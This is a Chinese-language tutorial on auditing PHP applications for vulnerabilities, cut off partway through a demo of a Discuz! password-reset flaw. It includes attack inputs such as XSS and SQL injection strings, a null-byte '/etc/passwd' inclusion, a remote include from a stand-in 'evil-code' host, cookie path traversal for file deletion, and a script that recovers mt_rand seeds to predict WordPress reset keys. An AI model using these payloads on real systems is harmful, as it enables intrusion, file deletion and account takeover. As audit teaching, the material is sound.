高級PHP應用程序漏洞審核技術

https://code.google.com/archive/p/pasc2at/wikis/SimplifiedChinese.wiki

前言

PHP是一種被廣泛使用的腳本語言，尤其適合於web開發。具有跨平臺，容易學習，功能強大等特點，據統計全世界有超過34%的網站有php的應用，包括Yahoo、sina、163、sohu等大型門戶網站。而且很多具名的web應用系統（包括bbs,blog,wiki,cms等等）都是使用php開發的，Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨着web安全的熱點升級，php應用程序的代碼安全問題也逐步興盛起來，越來越多的安全人員投入到這個領域，越來越多的應用程序代碼漏洞被披露。針對這樣一個狀況，很多應用程序的官方都成立了安全部門，或者僱傭安全人員進行代碼審計，因此出現了很多自動化商業化的代碼審計工具。也就是這樣的形勢導致了一個局面：大公司的產品安全係數大大的提高，那些很明顯的漏洞基本滅絕了，那些大家都知道的審計技術都無用武之地了。我們面對很多工具以及大牛掃描過n遍的代碼，有很多的安全人員有點悲觀，而有的官方安全人員也非常的放心自己的代碼，但是不要忘記了“沒有絕對的安全”，我們應該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統的技術經驗和大家分享。

另外在這裏特別說明一下本文裏面很多漏洞都是來源於網絡上牛人和朋友們的分享，在這裏需要感謝他們：）

傳統的代碼審計技術

WEB應用程序漏洞查找基本上是圍繞兩個元素展開：變量與函數。也就是說一漏洞的利用必須把你提交的惡意代碼通過變量經過n次變量轉換傳遞，最終傳遞給目標函數執行，還記得MS那句經典的名言嗎？“一切輸入都是有害的”。這句話只強調了變量輸入，很多程序員把“輸入”理解爲只是gpc[$_GET,$_POST,$_COOKIE]，但是變量在傳遞過程產生了n多的變化。導致很多過濾只是個“紙老虎”！我們換句話來描敘下代碼安全：“一切進入函數的變量是有害的”。

PHP代碼審計技術用的最多也是目前的主力方法：靜態分析，主要也是通過查找容易導致安全漏洞的危險函數，常用的如grep，findstr等搜索工具，很多自動化工具也是使用正則來搜索這些函數。下面列舉一些常用的函數，也就是下文說的字典（暫略）。但是目前基本已有的字典很難找到漏洞，所以我們需要擴展我們的字典，這些字典也是本文主要探討的。

其他的方法有：通過修改PHP源代碼來分析變量流程，或者hook危險的函數來實現對應用程序代碼的審覈，但是這些也依靠了我們上面提到的字典。

PHP版本與應用代碼審計

到目前爲止，PHP主要有3個版本：php4、php5、php6，使用比例大致如下：

| php4 | 68% | 2000-2007，No security fixes after 2008/08，最終版本是php4.4.9 | |:-----|:----|:--------------------------------------------------------| | php5 | 32% | 2004-present，Now at version 5.2.6（PHP 5.3 alpha1 released!） | | php6 | | 目前還在測試階段，變化很多做了大量的修改，取消了很多安全選項如magic_quotes_gpc（這個不是今天討論的範圍） |

由於php缺少自動升級的機制，導致目前PHP版本並存，也導致很多存在漏洞沒有被修補。這些有漏洞的函數也是我們進行WEB應用程序代碼審計的重點對象，也是我們字典重要來源。

其他的因素與應用代碼審計

很多代碼審計者拿到代碼就看，他們忽視了“安全是一個整體”，代碼安全很多的其他因素有關係，比如上面我們談到的PHP版本的問題，比較重要的還有操作系統類型（主要是兩大陣營win/*nix），WEB服務端軟件（主要是iis/apache兩大類型）等因素。這是由於不同的系統不同的WEB SERVER有着不同的安全特點或特性，下文有些部分會涉及。

所以我們在做某個公司WEB應用代碼審計時，應該瞭解他們使用的系統，WEB服務端軟件，PHP版本等信息。

擴展我們的字典

下面將詳細介紹一些非傳統PHP應用代碼審計一些漏洞類型和利用技巧。

變量本身的key

說到變量的提交很多人只是看到了GET/POST/COOKIE等提交的變量的值，但是忘記了有的程序把變量本身的key也當變量提取給函數處理。

<?php //key.php?aaaa'aaa=1&bb'b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key."\n"; } ?>

上面的代碼就提取了變量本身的key顯示出來，單純對於上面的代碼，如果我們提交URL：

key.php?<script>alert(1);</script>=1&bbb=2

那麼就導致一個xss的漏洞，擴展一下如果這個key提交給include()等函數或者sql查詢呢？：）

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：通讀代碼

變量覆蓋

很多的漏洞查找者都知道extract()這個函數在指定參數爲EXTR_OVERWRITE或者沒有指定函數可以導致變量覆蓋，但是還有很多其他情況導致變量覆蓋的如：

遍歷初始化變量

請看如下代碼：

<?php //var.php?a=fuck $a='hi'; foreach($_GET as $key => $value) { $$key = $value; } print $a; ?>

很多的WEB應用都使用上面的方式（注意循環不一定是foreach），如Discuz!4.1的WAP部分的代碼：

$chs = ''; if($_POST && $charset != 'utf-8') { $chs = new Chinese('UTF-8', $charset); foreach($_POST as $key => $value) { $$key = $chs->Convert($value); } unset($chs);

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：通讀代碼

parse_str()變量覆蓋漏洞

//var.php?var=new $var = 'init'; parse_str($_SERVER['QUERY_STRING']); print $var;

該函數一樣可以覆蓋數組變量，上面的代碼是通過$_SERVER['QUERY_STRING']來提取變量的，對於指定了變量名的我們可以通過注射“=”來實現覆蓋其他的變量：

//var.php?var=1&a[1]=var1%3d222 $var1 = 'init'; parse_str($a[$_GET['var']]); print $var1;

上面的代碼通過提交$var來實現對$var1的覆蓋。

| 漏洞審計策略（parse_str） | |:-----------------------| | PHP版本要求：無
系統要求：無
審計策略：查找字符parse_str

| 漏洞審計策略（mb_parse_str） | |:---------------------------| | PHP版本要求：php4<4.4.7 php5<5.2.2
系統要求：無
審計策略：查找字符mb_parse_str

import_request_variables()變量覆蓋漏洞

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); echo 'Hello admin!';

| 漏洞審計策略（import_request_variables） | |:---------------------------------------| | PHP版本要求：php4<4.4.1 php5<5.2.2
系統要求：無
審計策略：查找字符import_request_variables

PHP5 Globals

從嚴格意義上來說這個不可以算是PHP的漏洞，只能算是一個特性，測試代碼：

<? // register_globals =ON //foo.php?GLOBALS[foobar]=HELLO php echo $foobar; ?>

但是很多的程序沒有考慮到這點，請看如下代碼：

//爲了安全取消全局變量 //var.php?GLOBALS[a]=aaaa&b=111 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b];

如果熟悉WEB2.0的攻擊的同學，很容易想到上面的代碼我們可以利用這個特性進行crsf攻擊。

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：通讀代碼

magic_quotes_gpc與代碼安全

什麼是magic_quotes_gpc

當打開時，所有的 '（單引號），"（雙引號），\（反斜線）和 NULL 字符都會被自動加上一個反斜線進行轉義。還有很多函數有類似的作用如：addslashes()、mysql_escape_string()、mysql_real_escape_string()等，另外還有parse_str()後的變量也受magic_quotes_gpc的影響。目前大多數的主機都打開了這個選項，並且很多程序員也注意使用上面那些函數去過濾變量，這看上去很安全。很多漏洞查找者或者工具遇到些函數過濾後的變量直接就放棄，但是就在他們放棄的同時也放過很多致命的安全漏洞。：）

哪些地方沒有魔術引號的保護

1) $_SERVER變量

PHP5的$_SERVER變量缺少magic_quotes_gpc的保護，導致近年來X-Forwarded-For的漏洞猛暴，所以很多程序員考慮過濾X-Forwarded-For，但是其他的變量呢？

| 漏洞審計策略（$_SERVER變量） | |:-------------------------| | PHP版本要求：無
系統要求：無
審計策略：查找字符_SERVER

2) getenv()得到的變量（使用類似$_SERVER變量）

| 漏洞審計策略（getenv()） | |:---------------------| | PHP版本要求：無
系統要求：無
審計策略：查找字符getenv

3) $HTTP_RAW_POST_DATA與PHP輸入、輸出流

主要應用與soap/xmlrpc/webpublish功能裏，請看如下代碼：

if ( !isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } if ( isset($HTTP_RAW_POST_DATA) ) $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

| 漏洞審計策略（數據流） | |:----------------| | PHP版本要求：無
系統要求：無
審計策略：查找字符HTTP_RAW_POST_DATA或者php://input

4) 數據庫操作容易忘記'的地方如：in()/limit/order by/group by

如Discuz!<5.0的pm.php：

if(is_array($msgtobuddys)) { $msgto = array_merge($msgtobuddys, array($msgtoid)); ...... foreach($msgto as $uid) { $uids .= $comma.$uid; $comma = ','; } ...... $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN ($uids)");

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：查找數據庫操作字符（select,update,insert等等）

變量的編碼與解碼

一個WEB程序很多功能的實現都需要變量的編碼解碼，而且就在這一轉一解的傳遞過程中就悄悄的繞過你的過濾的安全防線。

這個類型的主要函數有：

1) stripslashes() 這個其實就是一個decode-addslashes()

2) 其他字符串轉換函數：

| base64_decode | 對使用 MIME base64 編碼的數據進行解碼 | |:---------------|:--------------------------| | base64_encode | 使用 MIME base64 對數據進行編碼 | | rawurldecode | 對已編碼的 URL 字符串進行解碼 | | rawurlencode | 按照 RFC 1738 對 URL 進行編碼 | | urldecode | 解碼已編碼的 URL 字符串 | | urlencode | 編碼 URL 字符串 | | ... | ... |

另外一個 unserialize/serialize

3) 字符集函數（GKB,UTF7/8...）如iconv()/mb_convert_encoding()等

目前很多漏洞挖掘者開始注意這一類型的漏洞了，如典型的urldecode：

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

當magic_quotes_gpc=on時，我們提交?id=%2527，得到sql語句爲：

SELECT * FROM article WHERE articleid='''

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：查找對應的編碼函數

二次攻擊

詳細見附錄[1]

1)數據庫出來的變量沒有進行過濾

2)數據庫的轉義符號：

mysql/oracle轉義符號同樣是\（我們提交'通過魔術引號變化爲\'，當我們update進入數據庫時，通過轉義變爲'）
mssql的轉義字符爲'（所以我們提交'通過魔術引號變化爲\'，mssql會把它當爲一個字符串直接處理，所以魔術引號對於mssql的注射沒有任何意義）

從這裏我們可以思考得到一個結論：一切進入函數的變量都是有害的，另外利用二次攻擊我們可以實現一個webrootkit，把我們的惡意構造直接放到數據庫裏。我們應當把這樣的代碼看成一個vul？

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：通讀代碼

魔術引號帶來的新的安全問題

首先我們看下魔術引號的處理機制：

[\-->\\,'-->\',"-->\",null-->\0]

這給我們引進了一個非常有用的符號“\”，“\”符號不僅僅是轉義符號，在WIN系統下也是目錄轉跳的符號。這個特點可能導致php應用程序裏產生非常有意思的漏洞：

1)得到原字符（',,",null]）

``` $order_sn=substr($_GET['order_sn'], 1);

//提交 ' //魔術引號處理 \' //substr '

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " . $ecs->table('order_info'). " WHERE order_sn = '$order_sn' LIMIT 1"; ```

2)得到“\”字符

``` $order_sn=substr($_GET['order_sn'], 0,1);

//提交 ' //魔術引號處理 \' //substr \

提交內容：

?order_sn='&order_tn=%20and%201=1/*

執行的SQL語句爲：

SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and order_tn=' and 1=1/*'

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：查找字符串處理函數如substr或者通讀代碼

變量key與魔術引號

我們最在這一節的開頭就提到了變量key，PHP的魔術引號對它有什麼影響呢？

<?php //key.php?aaaa'aaa=1&bb'b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key."\n"; } ?>

1)當magic_quotes_gpc = On時，在php5.24下測試顯示：

aaaa\'aaa bb\'b

從上面結果可以看出來，在設置了magic_quotes_gpc = On下，變量key受魔術引號影響。但是在php4和php<5.2.1的版本中，不處理數組第一維變量的key，測試代碼如下：

<?php //key.php?aaaa'aaa[bb']=1 print_R($_GET); ?>

結果顯示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )

數組第一維變量的key不受魔術引號的影響。

| 漏洞審計策略 | |:-----------| | PHP版本要求：php4和php<5.2.1
系統要求：無
審計策略：通讀代碼

2)當magic_quotes_gpc = Off時，在php5.24下測試顯示：

aaaa'aaa bb'b

對於magic_quotes_gpc = Off時所有的變量都是不安全的，考慮到這個，很多程序都通過addslashes等函數來實現魔術引號對變量的過濾，示例代碼如下：

```

function addslashes_array($value) { return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value); } print_R($_GET); foreach ($_GET AS $key => $value) { print $key; } ?> ```

以上的代碼看上去很完美，但是他這個代碼裏addslashes($value)只處理了變量的具體的值，但是沒有處理變量本身的key，上面的代碼顯示結果如下：

Array ( [aaa'aa] => 1\' ) aaa'aa

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：通讀代碼

代碼注射

PHP中可能導致代碼注射的函數

很多人都知道eval、preg_replace+/e可以執行代碼，但是不知道php還有很多的函數可以執行代碼如：

| assert() | |:---------| | call_user_func() | | call_user_func_array() | | create_function() | | 變量函數 | | ... |

這裏我們看看最近出現的幾個關於create_function()代碼執行漏洞的代碼：

<?php //how to exp this code $sort_by=$_GET['sort_by']; $sorter='strnatcasecmp'; $databases=array('test','test'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); '; usort($databases, create_function('$a, $b', $sort_function));

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：查找對應函數（assert,call_user_func,call_user_func_array,create_function等）

變量函數與雙引號

對於單引號和雙引號的區別，很多程序員深有體會，示例代碼：

echo "$a\n"; echo '$a\n';

我們再看如下代碼：

``` //how to exp this code if($globals['bbc_email']){

$text = preg_replace( array("/[email=(.?)](.?)[\/email]/ies", "/[email](.*?)[\/email]/ies"), array('check_email("$1", "$2")', 'check_email("$1", "$1")'), $text); ```

另外很多的應用程序都把變量用""存放在緩存文件或者config或者data文件裏，這樣很容易被人注射變量函數。

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：通讀代碼

PHP自身函數漏洞及缺陷

PHP函數的溢出漏洞

大家還記得Stefan Esser大牛的Month of PHP Bugs（MOPB見附錄2）項目麼，其中比較有名的要算是unserialize()，代碼如下：

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里，很多函數都曾經出現過溢出漏洞，所以我們在審計應用程序漏洞的時候不要忘記了測試目標使用的PHP版本信息。

| 漏洞審計策略 | |:-----------| | PHP版本要求：對應fix的版本
系統要求：
審計策略：查找對應函數名

PHP函數的其他漏洞

Stefan Esser大牛發現的漏洞：unset()--Zend_Hash_Del_Key_Or_Index Vulnerability

比如phpwind早期的serarch.php裏的代碼：

unset($uids); ...... $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); while($member=$db->fetch_array($query)){ $uids .= $member['uid'].','; } $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; ........ $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");

| 漏洞審計策略 | |:-----------| | PHP版本要求：php4<4.3 php5<5.14
系統要求：無
審計策略：查找unset

session_destroy()刪除文件漏洞

測試PHP版本：5.1.2

這個漏洞是幾年前朋友saiy發現的，session_destroy()函數的功能是刪除session文件，很多web應用程序的logout的功能都直接調用這個函數刪除session，但是這個函數在一些老的版本中缺少過濾導致可以刪除任意文件。測試代碼如下：

<?php //val.php session_save_path('./'); session_start(); if($_GET['del']) { session_unset(); session_destroy(); }else{ $_SESSION['hei']=1; echo(session_id()); print_r($_SESSION); } ?>

當我們提交構造cookie:PHPSESSID=/../1.php，相當於unlink('sess_/../1.php')這樣就通過注射../轉跳目錄刪除任意文件了。很多著名的程序某些版本都受影響如phpmyadmin，sablog，phpwind3等等。

| 漏洞審計策略 | |:-----------| | PHP版本要求：具體不詳
系統要求：無
審計策略：查找session_destroy

隨機函數

1) rand() VS mt_rand()

<?php //on windows print mt_getrandmax(); //2147483647 print getrandmax();// 32767 ?>

可以看出rand()最大的隨機數是32767，這個很容易被我們暴力破解。

<?php $a= md5(rand()); for($i=0;$i<=32767;$i++){ if(md5($i) ==$a ) { print $i."-->ok!!<br>";exit; }else { print $i."<br>";} } ?>

當我們的程序使用rand處理session時，攻擊者很容易暴力破解出你的session，但是對於mt_rand是很難單純的暴力的。

| 漏洞審計策略 | |:-----------| | PHP版本要求：無
系統要求：無
審計策略：查找rand

2) mt_srand()/srand()-weak seeding（by Stefan Esser）

看php手冊裏的描述：

``` mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一個更好的隨機數發生器種子說明 void mt_srand ( int seed ) ```

用 seed 來給隨機數發生器播種。從 PHP 4.2.0 版開始，seed 參數變爲可選項，當該項爲空時，會被設爲隨時數。

例子 1. mt_srand() 範例

<?php // seed with microseconds function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } mt_srand(make_seed()); $randval = mt_rand(); ?>

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函數給隨機數發生器播種，現已自動完成。

php從4.2.0開始實現了自動播種，但是爲了兼容，後來使用類似於這樣的代碼播種：

mt_srand ((double) microtime() * 1000000)

但是使用(double)microtime()*1000000類似的代碼seed是比較脆弱的：

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那麼很容易暴力破解,測試代碼如下：

``` php rand.php //828682 //828682 //////////////// ini_set("max_execution_time",0); $time=(double) microtime()* 1000000; print $time."\n"; mt_srand ($time);

$search_id = mt_rand(); $seed = search_seed($search_id); print $seed; function search_seed($rand_num) { $max = 1000000; for($seed=0;$seed<=$max;$seed++){ mt_srand($seed); $key = mt_rand(); if($key==$rand_num) return $seed; } return false; } ?> ```

從上面的代碼實現了對seed的破解，另外根據Stefan Esser的分析seed還根據進程變化而變化，換句話來說同一個進程裏的seed是相同的。然後同一個seed每次mt_rand的值都是特定的。如下圖：

| seed-A | |:-----------| | mt_rand-A-1
mt_rand-A-2
mt_rand-A-3

| seed-B | |:-----------| | mt_rand-B-1
mt_rand-B-2
mt_rand-B-3

對於seed-A裏mt_rand-1/2/3都是不相等的，但是值都是特定的，也就是說當seed-A等於seed-B，那麼mt_rand-A-1就等於mt_rand-B-1…，這樣我們只要能夠得到seed就可以得到每次mt_rand的值了。

對於5.2.6>php>4.2.0直接使用默認播種的程序也是不安全的（很多的安全人員錯誤的以爲這樣就是安全的），這個要分兩種情況來分析：

第一種：'Cross Application Attacks'，這個思路在Stefan Esser文章裏有提到，主要是利用其他程序定義的播種（如mt_srand ((double) microtime()* 1000000)），phpbb+wordpree組合就存在這樣的危險.

第二種：5.2.6>php>4.2.0默認播種的算法也不是很強悍，這是Stefan Esser的文章裏的描述：

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系統上默認的播種的種子爲最大值是2^32，這樣我們循環最多2^32次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有個bug：奇數和偶數的播種是一樣的（詳見附錄3）,測試代碼如下：

<?php

mt_srand(4); 

$a = mt_rand(); 

mt_srand(5); 

$b = mt_rand();

print $a."\n".$b;

?>

通過上面的代碼發現$a==$b，所以我們循環的次數爲2^32/2=231次。我們看如下代碼：

<?php

//base on http://www.milw0rm.com/exploits/6421 

//test on php 5.2.0



define('BUGGY', 1); //上面代碼$a==$b時候定義BUGGY=1



$key = wp_generate_password(20, false);

echo $key."\n";

$seed = getseed($key);

print $seed."\n"; 



mt_srand($seed);

$pass = wp_generate_password(20, false);

echo $pass."\n";   

    

function wp_generate_password($length = 12, $special_chars = true) {

    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

    if ( $special_chars )

        $chars .= '!@#$%^&*()';



    $password = '';

    for ( $i = 0; $i < $length; $i++ )

        $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);

    return $password;

} 



function getseed($resetkey) {

    $max = pow(2,(32-BUGGY));

    for($x=0;$x<=$max;$x++) {

        $seed = BUGGY ? ($x << 1) + 1 : $x; 

        mt_srand($seed);

        $testkey = wp_generate_password(20,false);

        if($testkey==$resetkey) { echo "o\n"; return $seed; }



        if(!($x % 10000)) echo $x / 10000;

    }

    echo "\n";

    return false;

}

?>

運行結果如下：

php5>php rand.php

M8pzpjwCrvVt3oobAaOr

0123456789101112131415161718192021222324252627282930313233343536373839404142434

445464748495051525354555657585960616263646566676869

7071727374757677787980818283848586878889909192939495969798991001011021031041051

061071081091101111121131141151161171181191201211221

2312412512612712812913013113213313413513613713813914014114214314414514614714814

915015115215315415515615715815916016116216316416516

6167168169170171172173174175176177178179180181182183184185186187188189190191192

193194195196197198199200201202203204205206207208209

2102112122132142152162172182192202212222232242252262272282292302312322332342352

362372382392402412422432442452462472482492502512522

..............01062110622106231062410625106261062710628106291063010631106321063

3o

70693

pjwCrvVt3oobAaOr

當10634次時候我們得到了結果。

當PHP版本到了5.2.1後，通過修改算法修補了奇數和偶數的播種相等的問題，這樣也導致了php5.2.0前後導致同一個播種後的mt_rand()的值不一樣。比如：

<?php

mt_srand(42);

echo mt_rand();

//php<=5.20 1387371436

//php>5.20 1354439493        

?>

正是這個原因，也要求了我們的exp的運行環境：當目標>5.20時候，我們exp運行的環境也要是>5.20的版本，反過來也是一樣。

從上面的測試及分析來看，php<5.26不管有沒有定義播種，mt_rand處理的數據都是不安全的。在web應用裏很多都使用mt_rand來處理隨機的session，比如密碼找回功能等等，這樣的後果就是被攻擊者惡意利用直接修改密碼。

很多著名的程序都產生了類似的漏洞如wordpress、phpbb、punbb等等。（在後面我們將實際分析下國內著名的bbs程序Discuz!的mt_srand導致的漏洞）

漏洞審計策略 PHP版本要求：php4 php5系統要求：無
審計策略：查找mt_srand/mt_rand

特殊字符

其實“特殊字符”也沒有特定的標準定義，主要是在一些code hacking發揮着特殊重作用的一類字符。下面就舉幾個例子：

截斷

其中最有名的數大家都熟悉的null字符截斷。

include截斷

<?php 

include $_GET['action'].".php"; 

?>

提交“action=/etc/passwd%00”中的“%00”將截斷後面的“.php”，但是除了“%00”還有沒有其他的字符可以實現截斷使用呢？肯定有人想到了遠程包含的url裏問號“?”的作用，通過提交“action=http://www.hacksite.com/evil-code.txt?”這裏“?”實現了“僞截斷”：），好象這個看上去不是那麼舒服那麼我們簡單寫個代碼fuzz一下：

<?php

////////////////////

////var5.php代碼:

////include $_GET['action'].".php"; 

////print strlen(realpath("./"))+strlen($_GET['action']);  

///////////////////

ini_set('max_execution_time', 0);

$str='';

for($i=0;$i<50000;$i++)

{

    $str=$str."/";



    $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);

    //1.txt裏的代碼爲print 'hi';

    if (strpos($resp, 'hi') !== false){

        print $i;

        exit;

    }

}

?>

經過測試字符“.”、“ /”或者2個字符的組合，在一定的長度時將被截斷，win系統和nix的系統長度不一樣，當win下strlen(realpath("./"))+strlen($_GET['action'])的長度大於256時被截斷，對於nix的長度是4 * 1024 = 4096。對於php.ini裏設置遠程文件關閉的時候就可以利用上面的技巧包含本地文件了。（此漏洞由cloie#ph4nt0m.org最先發現]）

數據截斷

對於很多web應用文件在很多功能是不容許重複數據的，比如用戶註冊功能等。一般的應用程序對於提交註冊的username和數據庫裏已有的username對比是不是已經有重複數據，然而我們可以通過“數據截斷”等來饒過這些判斷，數據庫在處理時候產生截斷導致插入重複數據。

1) Mysql SQL Column Truncation Vulnerabilities

這個漏洞又是大牛Stefan Esser發現的（Stefan Esser是我的偶像:)），這個是由於mysql的sql_mode設置爲default的時候，即沒有開啓STRICT_ALL_TABLES選項時，MySQL對於插入超長的值只會提示warning，而不是error（如果是error就插入不成功），這樣可能會導致一些截斷問題。測試如下：

mysql> insert into truncated_test(`username`,`password`) values("admin","pass");



mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");

Query OK, 1 row affected, 1 warning (0.01 sec)



mysql> select * from truncated_test;

+----+------------+----------+

| id | username   | password |

+----+------------+----------+

| 1 | admin      | pass     |

| 2 | admin      | new_pass |

+----+------------+----------+

2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

這個漏洞是80sec發現的，當mysql進行數據存儲處理utf8等數據時對某些字符導致數據截斷。測試如下：

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");

Query OK, 1 row affected, 1 warning (0.00 sec)



mysql> select * from truncated_test;

+----+------------+----------+

| id | username   | password |

+----+------------+----------+

| 1 | admin      | pass      |

| 2 | admin      | new_pass  |

| 3 | admin      | new_pass2 |

+----+------------+----------+

2 rows in set (0.00 sec)

很多的web應用程序沒有考慮到這些問題，只是在數據存儲前簡單查詢數據是否包含相同數據，如下代碼：

$result = mysql_query("SELECT * from test_user where user='$user' ");

  ....

if(@mysql_fetch_array($result, MYSQL_NUM)) {

    die("already exist");

}

漏洞審計策略 PHP版本要求：無
系統要求：無
審計策略：通讀代碼文件操作裏的特殊字符

文件操作裏有很多特殊的字符，發揮特別的作用，很多web應用程序沒有注意處理這些字符而導致安全問題。比如很多人都知道的windows系統文件名對“空格”和“.”等的忽視，這個主要體現在上傳文件或者寫文件上，導致直接寫webshell。另外對於windows系統對“...\”進行系統轉跳等等。

下面還給大家介紹一個非常有意思的問題：

//Is this code vul?

if( eregi(".php",$url) ){

    die("ERR");

}

$fileurl=str_replace($webdb[www_url],"",$url);

.....

header('Content-Disposition: attachment; filename='.$filename);

很多人看出來了上面的代碼的問題，程序首先禁止使用“.php”後綴。但是下面居然接了個str_replace替換$webdbwww_url爲空，那麼我們提交“.p$webdbwww_urlhp”就可以饒過了。那麼上面的代碼雜fix呢？有人給出瞭如下代碼：

$fileurl=str_replace($webdb[www_url],"",$url);

if( eregi(".php",$url) ){

    die("ERR");

}

str_replace提到前面了，很完美的解決了str_replace代碼的安全問題，但是問題不是那麼簡單，上面的代碼在某些系統上一樣可以突破。接下來我們先看看下面的代碼：

<?php

for($i=0;$i<255;$i++) {

    $url = '1.ph'.chr($i);

    $tmp = @file_get_contents($url);

    if(!empty($tmp)) echo chr($i)."\r\n";

}  

?>

我們在windows系統運行上面的代碼得到如下字符* < > ? P p都可以打開目錄下的1.php。

漏洞審計策略 PHP版本要求：無
系統要求：無
審計策略：文讀取件操作函數

怎麼進一步尋找新的字典

上面我們列舉很多的字典，但是很多都是已經公開過的漏洞或者方式，那麼我們怎麼進一步找到新的字典或者利用方式呢？

分析和學習別人發現的漏洞或者exp，總結出漏洞類型及字典
通過學習php手冊或者官方文檔,挖掘出新的有危害的函數或者利用方式
fuzz php的函數，找到新的有問題的函數（不一定非要溢出的），如上一章的4.6的部分很多都可以簡單的fuzz腳本可以測試出來
分析php源代碼，發現新的漏洞函數“特性”或者漏洞。（在上一節裏介紹的那些“漏洞審計策略”裏，都沒有php源代碼的分析，如果你要進一步找到新的字典，可以在php源代碼的基礎上分析下成因，然後根據這個成因來分析尋找新的漏洞函數“特性”或者漏洞。）（我們以後會陸續公佈一些我們對php源代碼的分析）
有條件或者機會和開發者學習，找到他們實現某些常用功能的代碼的缺陷或者容易忽視的問題
你有什麼要補充的嗎？：）

DEMO

DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
（Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt） PHP版本要求:php4 php5系統要求: 無
審計策略:查找mt_srand/mt_rand

第一步安裝Discuz! 6.1後利用grep查找mt_srand得到：

heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5

./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);

./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';

./include/global.func.php-696-}

./include/global.func.php-697-

./include/global.func.php-698-function random($length, $numeric = 0) {

./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

./include/global.func.php-700-  if($numeric) {

./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));

./include/global.func.php-702-  } else {

./include/global.func.php-703-          $hash = '';

./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';

--

./include/discuzcode.func.php-30-

./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {

./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';

./include/discuzcode.func.php-33-}

./include/discuzcode.func.php-34-

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

./include/discuzcode.func.php-36-

./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {

./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;

./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid];

./include/discuzcode.func.php-40-       if($attach['attachimg']) {

有兩個文件用到了mt_srand()，第1是在./include/global.func.php的隨機函數random()裏：

 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

判斷了版本，如果是PHP_VERSION > '4.2.0'使用php本身默認的播種。從上一章裏的分析我們可以看得出來，使用php本身默認的播種的分程序兩種情況：

